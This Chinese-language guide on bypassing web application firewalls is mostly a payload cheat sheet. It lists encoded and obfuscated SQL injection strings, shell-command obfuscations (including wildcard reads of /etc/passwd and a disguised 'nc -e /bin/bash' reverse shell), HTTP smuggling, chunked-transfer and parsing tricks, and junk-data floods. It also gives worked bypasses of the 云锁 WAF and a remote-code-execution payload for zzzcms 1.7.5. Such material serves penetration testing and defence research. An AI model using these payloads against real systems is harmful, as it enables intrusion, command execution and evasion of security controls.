WAF绕过拍了拍你
字数 2560 2025-08-15 21:33:08
WAF绕过技术全面指南
1. WAF基础概念
WAF (Web Application Firewall)是Web应用防火墙,工作在HTTP协议层面,检测并拦截可能带有攻击性的数据包。
2. WAF绕过技术分类
2.1 对抗规则绕过
原理:通过变形使WAF无法匹配到恶意语句
编码变形技术
- URL编码:
select * from zzz→select * from %257a%257a%257a - Unicode编码:单引号 →
%u0027、%u02b9、%u02bc - 十六进制编码:
adminuser→0x61646D696E75736572 - 空格编码:
%20、%09、%0a、%0b、%0c、%0d、%a0
大小写变换
Union select→uNIoN sELecT
等价关键字替换
And→&&Or→||=→like或<与>组合判断if(a,b,c)→case when(A) then B else C endsubstr(str,1,1)→substr(str) from 1 for 1limit 1,1→limit 1 offset 1Union select 1,2→union select * from ((select 1)A join (select 2)B)hex()、bin()→ascii()sleep()→benchmark()concat_ws()→group_concat()mid()、substr()→substring()@@user→user()@@datadir→datadir()
2.2 配合系统特性绕过
Windows特性
whoami→((((Wh^o^am""i))))(利用符号分割)whoami→set a=net&&b=user&&call %a%%b%(变量分割)set a=123whoami456→echo %a:~3,6%(变量截取)
Linux特性
whoami→w'h'o'a'm"i"(引号连接)cat /etc/passwd→cat /?t*/??ss**(通配符)whoami→/b[12312i]n/w[23sh]oa[2msh]i([]通配符)whoami→a=who&&b=ami&&$a$b(变量拼接)cat /../../etc/passwd→cd ..&&cd ..&&cd etc&&cat passwd(目录穿越)nc -e /bin/bash 127.0.0.1 1234→/??n/?c -e /??n/b??h 2130706433 1234(IP转换)
MySQL特性
- 注释符:
/**/可用于截断关键字 - 内联注释:
/*!user()*/(MySQL特有) - 换行与注释组合:
union#A%0aselect - 等价函数替换
2.3 配合过滤代码或漏洞本身
- 双写关键字:
and→anandd chr()函数转换:phpinfo()→chr(80).chr(72)...base_convert()函数:phpinfo→base_convert(27440799224,10,32)
2.4 HTTP协议绕过
Content-Type绕过
- 修改为
multipart/form-data可能绕过检测
请求方式变换
- GET/POST互换可能绕过不同检测规则
参数污染
- 提交多个同名参数:
?id=1&id=2&id=exp - 不同服务器解析不同:
- ASP.NET+IIS:取第一个
- PHP+Apache:取最后一个
解析特性绕过
- IIS5.0-6.0解析漏洞:
/xx.asp/xx.jpg或xx.asp;.jpg - IIS7.5解析漏洞:
/xx.jpg/.php - Apache解析漏洞:
/test.php.php123 - Nginx解析漏洞:
xxx.jpg%00.php(Nginx <8.03)
多Content-Disposition
- 请求包中包含多个Content-Disposition时可能绕过
解析兼容性
- 非标准文件名格式:
filename="test.php、filename=test.php等
Keep-alive绕过
- 构造多个请求,恶意代码隐藏在第n个请求中
分块传输
- 将关键字拆分编码传输
修改编码方式
- 设置非UTF8编码如
ibm037
2.5 WAF检测限制绕过
参数溢出
- 增加参数数量超过WAF检测上限
缓冲区溢出
- 发送大量垃圾数据溢出WAF:
UnIoN SeLeCT = and (select 1)=(Select 0xA*99999)and 1=1 = and 1=1 and 99...99999
2.6 网络结构绕过
源IP绕过
- 直接对源地址发起攻击,不经过WAF
同网段/SSRF绕过
- 利用局域网内部流量或SSRF漏洞从内部发起攻击
3. 实战案例:云锁绕过
环境
- MySQL+Apache+PHP
- 云锁公有云版Linux_3.1.20.15
绕过技术
姿势一:注释+换行绕过
- 使用
%23注释后面内容 - 使用
%0a换行逃出注释
示例:
test.php?id=1 /*!order*//**/%23A%0A/**/%23A%0A/*!by*//**/2
test.php?id=1 /*!UNIon*//**/%23A%0A/**/%23A%0A/*!select*//**/database(),user/**/()
姿势二:分块传输
- 改为POST请求
- 设置
Transfer-Encoding: x chunked - 将关键字拆分传输
4. 实战案例:zzzcmsV1.7.5前台RCE
绕过技术
- 使用
array_map替代被过滤的函数 - 通过
base_convert转换函数名:array_map(base_convert(27440799224,10,32),array(1)) // 执行phpinfo() - 复杂命令构造:
{if:array_map(base_convert(591910,10,36),array(base_convert(831805,10,36)...))}{end if}
5. 总结
WAF绕过技术核心思路:
- 变形:编码、大小写、等价替换
- 利用特性:系统、数据库、中间件特性
- 协议层面:HTTP协议解析差异
- 绕过检测:溢出、分块、参数污染
- 网络层面:避开WAF检测路径
实际渗透中需要根据目标环境灵活组合多种技术,不断测试验证。